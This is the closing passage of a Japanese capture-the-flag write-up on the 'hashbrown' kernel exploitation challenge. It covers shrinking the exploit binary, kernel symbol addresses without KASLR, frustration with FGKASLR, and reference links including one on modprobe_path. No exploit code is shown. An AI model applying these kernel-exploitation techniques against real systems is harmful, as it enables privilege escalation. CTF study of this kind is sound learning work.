と思ったけど、gzip するのを忘れてただけだった。
あと strip するのも忘れてた。
この 2 つをちゃんとやったらサイズが 1/4 になったので glibc でいけました。(UPX しとくのも良いらしい)
いい問題。大切な要素が詰まってるし、難易度も簡単すぎず難しすぎず。 おいしかったです。やよい軒行ってきます。
symbols without KASLR
symbols.txt1hashmap: 0xffffffffc0002540
2kmalloc_caches: 0xffffffff81981dc0
3__per_cpu_offset: 0xffffffff81980680
FGKASLR のせいでモジュール内の関数にブレーク貼れないのマジでストレスで胃が爆発霧散するかと思った(nokaslr
指定しても無駄だし… :cry:)。まぁ起動する度に確認すれば良いんだけど。
参考
- author’s writeup: https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html
- LWN about FGKASLR: https://lwn.net/Articles/824307/
- pwn chall in HXPCTF also using FGKASLR: https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/
- kernel structure refs: https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628
- しふくろさんのブログ(modprobe_path について参考にした): https://shift-crops.hatenablog.com/entry/2019/04/30/131154
- ニルギリ: https://youtu.be/yvUvamhYPHw